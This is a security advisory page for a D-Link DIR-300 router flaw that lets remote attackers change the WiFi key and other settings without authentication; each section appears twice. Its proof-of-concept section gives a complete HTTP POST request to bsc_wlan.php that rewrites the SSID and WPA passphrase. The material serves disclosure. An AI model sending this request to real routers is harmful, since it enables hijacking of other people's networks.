D-Link DIR-300 WiFi Key Security Bypass Vulnerability
BID:45038
Info
D-Link DIR-300 WiFi Key Security Bypass Vulnerability
| Bugtraq ID: | 45038 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 24 2010 12:00AM |
| Updated: | Dec 03 2010 03:05PM |
| Credit: | Gaurav Saha |
| Vulnerable: |
D-Link DIR-300 2.04 D-Link DIR-300 2.01B1 D-Link DIR-300 1.05 D-Link DIR-300 1.04 D-Link DIR-300 0 |
| Not Vulnerable: | |
Discussion
D-Link DIR-300 WiFi Key Security Bypass Vulnerability
The D-Link DIR-300 wireless router is prone to a security-bypass vulnerability.
Remote attackers can exploit this issue to modify the WiFi key and possibly other configuration settings. Successful exploits will lead to other attacks.
The D-Link DIR-300 wireless router is prone to a security-bypass vulnerability.
Remote attackers can exploit this issue to modify the WiFi key and possibly other configuration settings. Successful exploits will lead to other attacks.
Exploit / POC
D-Link DIR-300 WiFi Key Security Bypass Vulnerability
An attacker can exploit this issue by using readily available network utilities.
The following example HTTP POST request is available:
POST http://www.example.com/bsc_wlan.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Charset: ISO-8859-1,utf-8
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1000
ACTION_POST=final&f_enable=1&f_wps_enable=1&f_ssid=KingGeorgeV&f_channel=6&f_auto_channel=0&f_super_g=&f_xr=&f_txrate=0&f_wmm_enable=0&f_ap_hidden=0&f_authentication=7&f_cipher=2&f_wep_len=&f_wep_format=&f_wep_def_key=&f_wep=&f_wpa_psk_type=1&f_wpa_psk=
<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1=
An attacker can exploit this issue by using readily available network utilities.
The following example HTTP POST request is available:
POST http://www.example.com/bsc_wlan.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Charset: ISO-8859-1,utf-8
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1000
ACTION_POST=final&f_enable=1&f_wps_enable=1&f_ssid=KingGeorgeV&f_channel=6&f_auto_channel=0&f_super_g=&f_xr=&f_txrate=0&f_wmm_enable=0&f_ap_hidden=0&f_authentication=7&f_cipher=2&f_wep_len=&f_wep_format=&f_wep_def_key=&f_wep=&f_wpa_psk_type=1&f_wpa_psk=
<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1=
Solution / Fix
D-Link DIR-300 WiFi Key Security Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].